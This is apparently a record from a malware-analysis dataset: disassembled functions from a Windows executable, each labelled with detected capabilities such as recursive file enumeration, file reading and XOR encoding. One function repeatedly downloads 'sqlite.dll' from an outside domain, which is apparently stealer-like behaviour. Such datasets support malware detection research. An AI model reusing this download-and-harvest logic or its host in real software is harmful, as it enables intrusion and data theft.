joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400153e4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400153ff
xor al, al
jmp 0x140015405
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x14001540c
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov r8, rcx
jmp 0x140015428
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rbx
and qword [rsp + 0x20], 0
lea rdx, str.http:__4382.bimmobil.xyz_tools_sqlite.dll
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14001541a
mov al, 1
add rsp, 0x30
pop rbx
ret

Function at 0x1400155f4
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x3cd0
call fcn.14001fdd0
sub rsp, rax
mov rax, qword [0x14004a490]
xor rax, rsp
mov qword [rsp + 0x3cc0], rax
mov rsi, rcx
mov rcx, r8
mov rbx, rdx
call fcn.140004e88
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov r8, rax
call fcn.1400158d4
mov rcx, rbx
call fcn.140004e78
lea rdx, [0x14003ea80]
mov rcx, rax
call fcn.14001f75c
mov rbx, rax
test rax, rax
je 0x14001572b
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x24]
call fcn.14001fcd0
lea rcx, [rsp + 0x50]
call fcn.140004e78
or dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], 8
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [rsp + 0x78]
mov rdx, rax
xor r9d, r9d
mov rcx, rsi
call fcn.140017eb0
test eax, eax
jne 0x140015723
lea rcx, [rsp + 0xa0]
mov r9, rbx
mov edx, 1
mov r8d, 0x3c18
call fcn.14001fa48
mov rdi, rax
cmp rax, 0x3c18
jae 0x1400156ea
mov rcx, rbx
call fcn.14001f634
test eax, eax
jne 0x140015708
mov rcx, rbx
call fcn.14001f65c
test eax, eax
jne 0x14001571b
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140016db0
test eax, eax
js 0x14001571b
test rdi, rdi
je 0x14001571b
jmp 0x1400156ac
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140016db0
mov rcx, rsi
call fcn.1400176d0
mov rcx, rbx
call fcn.14001eb34
lea rcx, [rsp + 0x50]
call fcn.140004e14
mov rcx, qword [rsp + 0x3cc0]
xor rcx, rsp
call fcn.14001cb70
add rsp, 0x3cd0
pop rdi
pop rsi
pop rbx
ret
Function at 0x140015750
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x14004a490]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], rcx
lea r8, [0x14003ea84]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x38], rdx
call fcn.14000df98
lea rcx, [rsp + 0x68]
call fcn.140004e78
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140015863
lea rsi, [rbp - 0x14]
lea rdi, [0x14003ea8c]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x140015845
lea rsi, [rbp - 0x14]
lea rdi, [0x14003ea90]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x140015845
mov rdx, qword [rsp + 0x38]
lea r8, [0x14003ea94]
lea rcx, [rbp - 0x70]
call fcn.14000df98
lea r8, [rbp - 0x14]
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.14000f170
lea rcx, [rbp - 0x70]
call fcn.140004e14
test byte [rbp - 0x40], 0x10
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
je 0x140015836
mov r9b, byte [rsp + 0x20]
call fcn.140015750
jmp 0x14001583b
call fcn.1400155f4
lea rcx, [rsp + 0x40]
call fcn.140004e14
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400157be
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x68]
call fcn.140004e14
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14001cb70
add rsp, 0x218
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x140015960
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov qword [rsp + 8], rbx
mov r10d, dword [rcx]
mov ebx, r8d
mov r8, rcx
mov eax, ebx
mov r9d, r10d
mov r11, rdx
xor r9, rax
shr r10d, 8
movzx eax, r9b
mov r9d, dword [rdx + rax*4]
mov edx, dword [rcx + 8]
xor r9d, r10d
mov dword [rcx], r9d
movzx eax, r9b
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
mov ecx, eax
shr ecx, 0x18
xor rcx, rdx
shr edx, 8
movzx eax, cl
mov eax, dword [r11 + rax*4]
xor eax, edx
mov dword [r8 + 8], eax
mov eax, ebx
mov rbx, qword [rsp + 8]
ret
Function at 0x140015a30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push r15
sub rsp, 0x48
mov rbp, r9
mov r15, rcx
cmp r8d, 0xc
jge 0x140015a52
xor eax, eax
add rsp, 0x48
pop r15
pop rbp
ret
mov eax, dword [0x14004c2c0]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
inc eax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r14
mov dword [0x14004c2c0], eax
cmp eax, 1
jne 0x140015a96
xor ecx, ecx
call fcn.14001fc18
xor eax, 0xbb40e64e
mov ecx, eax
call fcn.14001fc78
mov r12, qword [rsp + 0x80]
mov rdx, rbp
mov rcx, r15
mov r8, r12
call fcn.1400159c0
mov r13d, 0xa
lea rsi, [rsp + 0x20]
mov r14d, r13d
nop word [rax + rax]
call fcn.14001fc90
mov rcx, rbp
sar eax, 7
movzx edi, al
call fcn.140015940
mov r8d, edi
mov rdx, r12
mov ebx, eax
call fcn.140015960
xor dil, bl
inc rsi
dec r14
mov byte [rsi - 1], dil
jne 0x140015ac0
mov r8, r12
mov rdx, rbp
mov rcx, r15
call fcn.1400159c0
mov r15, qword [rsp + 0x68]
lea rax, [rsp + 0x20]
mov r14, r15
lea rsi, [rsp + 0x20]
sub r14, rax
mov rcx, rbp
call fcn.140015940
movzx edi, byte [rsi]
mov rdx, r12
mov r8d, edi
mov ebx, eax
call fcn.140015960
xor dil, bl
inc rsi
dec r13
mov byte [r14 + rsi - 1], dil
jne 0x140015b12
mov rcx, rbp
call fcn.140015940
mov esi, dword [rsp + 0x88]
mov rdx, r12
mov ebx, esi
mov edi, eax
shr ebx, 0x10
movzx r8d, bl
call fcn.140015960
xor bl, dil
mov rcx, rbp
mov byte [r15 + 0xa], bl
call fcn.140015940
shr esi, 0x18
mov r8d, esi
mov rdx, r12
mov ebx, eax
call fcn.140015960
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x78]
xor sil, bl
mov rbx, qword [rsp + 0x60]
mov byte [r15 + 0xb], sil
mov rsi, qword [rsp + 0x70]
lea eax, [r13 + 0xc]
mov r13, qword [rsp + 0x38]
add rsp, 0x48
pop r15
pop rbp
ret

Function at 0x140016cc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
cmp dword [rcx + 0x10108], 0
mov rsi, rcx
je 0x140016d43
mov qword [rsp + 0x30], rbp
xor ebp, ebp
cmp dword [rcx + 0xd4], ebp
jbe 0x140016d3e
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r12
lea rdi, [rcx + 0x100]
nop word [rax + rax]
lea rcx, [rsi + 0x10128]
call fcn.140015940
movzx r8d, byte [rdi]
mov rdx, qword [rsi + 0x10138]
lea rcx, [rsi + 0x10128]
mov ebx, eax
call fcn.140015960
xor byte [rdi], bl
inc ebp
inc rdi
cmp ebp, dword [rsi + 0xd4]
jb 0x140016d00
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r9d, dword [rsi + 0xd4]
mov rdx, qword [rsi + 0x58]
mov rcx, qword [rsi + 0x38]
mov ebx, dword [rsi + 0xd4]
lea r8, [rsi + 0x100]
call qword [rsi + 0x10]
or ecx, 0xffffffff
xor edx, edx
cmp eax, ebx
mov dword [rsi + 0xd4], 0
cmovne edx, ecx
mov ecx, dword [rsi + 0x84]
add qword [rsi + 0x10118], rbx
mov rbx, qword [rsp + 0x48]
add qword [rsi + 0x10120], rcx
mov dword [rsi + 0x84], 0
mov eax, edx
add rsp, 0x20
pop rsi
ret
Function at 0x1400204fb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14004a490]
jne 0x14001cb8a
rol rcx, 0x10
test cx, 0xffff
jne 0x14001cb86
repz ret
ror rcx, 0x10
jmp 0x140020454
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14004c3b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14004c4a8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400204d9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14004c3b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400204fb
mov rax, qword [rsp + 0x88]
mov qword [0x14004c4a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14004c448], rax
mov rax, qword [0x14004c4a8]
mov qword [0x14004c320], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14004c430], rax
mov dword [0x14004c310], 0xc0000409
mov dword [0x14004c314], 1
mov rax, qword [0x14004a490]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14004a498]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14004c3a8], eax
mov ecx, 1
call fcn.14002802c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14003af60]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14004c3a8], 0
jne 0x140020582
mov ecx, 1
call fcn.14002802c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14002a6e8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14004a490]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140023408
xor ebx, ebx
cmp qword [0x14004d468], rbx
mov rdi, rax
jne 0x14002a7fb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14002a8d2
lea rdx, [0x14003d328]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002a8d2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14004d468], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14004d470], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14004d478], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14004d488], rax
test rax, rax
je 0x14002a7f2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14004d480], rax
jmp 0x14002a802
mov rax, qword [0x14004d480]
jmp 0x14002a809
mov rax, qword [0x14004d480]
mov r11, qword [0x14004d488]
cmp rax, rdi
je 0x14002a870
cmp r11, rdi
je 0x14002a870
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14004d488]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14002a870
test rax, rax
je 0x14002a870
call rsi
test rax, rax
je 0x14002a86a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14002a86a
test byte [rsp + 0x40], 1
jne 0x14002a870
bts ebp, 0x15
jmp 0x14002a8b0
mov rcx, qword [0x14004d470]
cmp rcx, rdi
je 0x14002a8b0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002a8b0
call rax
mov rbx, rax
test rax, rax
je 0x14002a8b0
mov rcx, qword [0x14004d478]
cmp rcx, rdi
je 0x14002a8b0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002a8b0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14004d468]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002a8d2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14002a8d4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001cb70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180005ad0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
xor r9d, r9d
movaps xmmword [rsp + 0x30], xmm6
cmp dword [0x18001f090], 2
mov r10, rdx
jl 0x180005ccf
movdqa xmm6, xmmword [0x18001c0e0]
lea rax, [r10 + 0x3e]
lea rdx, [rcx + 0x3e]
cmp rcx, rax
ja 0x180005b0a
cmp rdx, r10
jae 0x180005ccf
movaps xmmword [rsp + 0x20], xmm7
movaps xmmword [rsp + 0x10], xmm8
movaps xmmword [rsp], xmm9
movdqa xmm4, xmmword [0x18001c2b0]
lea rdx, [rcx + 8]
movdqa xmm7, xmmword [0x18001c110]
sub r10, rcx
movdqa xmm5, xmmword [0x18001c2c0]
movdqa xmm8, xmmword [0x18001c100]
movdqa xmm9, xmmword [0x18001c120]
nop dword [rax + rax]
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm6
add r9d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [r10 + rdx - 0x18]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x18], xmm3
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [r10 + rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
cmp r9d, 0x20
jl 0x180005b50
movaps xmm9, xmmword [rsp]
movaps xmm8, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp + 0x20]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
sub r10, rcx
nop dword [rax]
nop word [rax + rax]
mov r8d, r9d
lea rcx, [rcx + 2]
mov eax, 0x4d4873ed
imul r9d
inc r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x32
sub r8d, eax
add r8w, 0x31
xor r8w, word [rcx + r10 - 2]
mov word [rcx - 2], r8w
cmp r9d, 0x20
jl 0x180005ce0
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x180005d40
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
xor r8d, r8d
movaps xmmword [rsp + 0x30], xmm6
cmp dword [0x18001f090], 2
mov r10, rdx
jl 0x180005f3d
movdqa xmm6, xmmword [0x18001c0e0]
lea rax, [r10 + 0x46]
lea rdx, [rcx + 0x46]
cmp rcx, rax
ja 0x180005d7a
cmp rdx, r10
jae 0x180005f3d
movaps xmmword [rsp + 0x20], xmm7
movaps xmmword [rsp + 0x10], xmm8
movaps xmmword [rsp], xmm9
movdqa xmm4, xmmword [0x18001c2b0]
lea r9, [rcx + 8]
movdqa xmm7, xmmword [0x18001c110]
mov rdx, r10
movdqa xmm5, xmmword [0x18001c2c0]
sub rdx, rcx
movdqa xmm8, xmmword [0x18001c100]
movdqa xmm9, xmmword [0x18001c120]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea r9, [r9 + 0x10]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx + r9 - 0x18]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [r9 - 0x18], xmm3
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx + r9 - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [r9 - 0x10], xmm3
cmp r8d, 0x20
jl 0x180005dc0
movaps xmm9, xmmword [rsp]
movaps xmm8, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp + 0x20]
cmp r8d, 0x24
jge 0x180005f9c
movsxd rax, r8d
sub r10, rcx
lea r9, [rcx + rax*2]
nop word [rax + rax]
mov ecx, r8d
lea r9, [r9 + 2]
mov eax, 0x4d4873ed
imul r8d
inc r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x32
sub ecx, eax
add cx, 0x31
xor cx, word [r9 + r10 - 2]
mov word [r9 - 2], cx
cmp r8d, 0x24
jl 0x180005f50
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x180005fb0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
xor r8d, r8d
movaps xmmword [rsp + 0x30], xmm6
cmp dword [0x18001f090], 2
mov r10, rdx
jl 0x1800061ad
movdqa xmm6, xmmword [0x18001c0e0]
lea rax, [r10 + 0x42]
lea rdx, [rcx + 0x42]
cmp rcx, rax
ja 0x180005fea
cmp rdx, r10
jae 0x1800061ad
movaps xmmword [rsp + 0x20], xmm7
movaps xmmword [rsp + 0x10], xmm8
movaps xmmword [rsp], xmm9
movdqa xmm4, xmmword [0x18001c2b0]
lea r9, [rcx + 8]
movdqa xmm7, xmmword [0x18001c110]
mov rdx, r10
movdqa xmm5, xmmword [0x18001c2c0]
sub rdx, rcx
movdqa xmm8, xmmword [0x18001c100]
movdqa xmm9, xmmword [0x18001c120]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea r9, [r9 + 0x10]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx + r9 - 0x18]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [r9 - 0x18], xmm3
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx + r9 - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [r9 - 0x10], xmm3
cmp r8d, 0x20
jl 0x180006030
movaps xmm9, xmmword [rsp]
movaps xmm8, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp + 0x20]
cmp r8d, 0x22
jge 0x18000620c
movsxd rax, r8d
sub r10, rcx
lea r9, [rcx + rax*2]
nop word [rax + rax]
mov ecx, r8d
lea r9, [r9 + 2]
mov eax, 0x4d4873ed
imul r8d
inc r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x32
sub ecx, eax
add cx, 0x31
xor cx, word [r9 + r10 - 2]
mov word [r9 - 2], cx
cmp r8d, 0x22
jl 0x1800061c0
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x180006220
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
xor r9d, r9d
movaps xmmword [rsp + 0x30], xmm6
cmp dword [0x18001f090], 2
mov r10, rdx
jl 0x18000641f
movdqa xmm6, xmmword [0x18001c0e0]
lea rax, [r10 + 0x4e]
lea rdx, [rcx + 0x4e]
cmp rcx, rax
ja 0x18000625a
cmp rdx, r10
jae 0x18000641f
movaps xmmword [rsp + 0x20], xmm7
movaps xmmword [rsp + 0x10], xmm8
movaps xmmword [rsp], xmm9
movdqa xmm4, xmmword [0x18001c2b0]
lea rdx, [rcx + 8]
movdqa xmm7, xmmword [0x18001c110]
sub r10, rcx
movdqa xmm5, xmmword [0x18001c2c0]
movdqa xmm8, xmmword [0x18001c100]
movdqa xmm9, xmmword [0x18001c120]
nop dword [rax + rax]
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm6
add r9d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [r10 + rdx - 0x18]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x18], xmm3
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
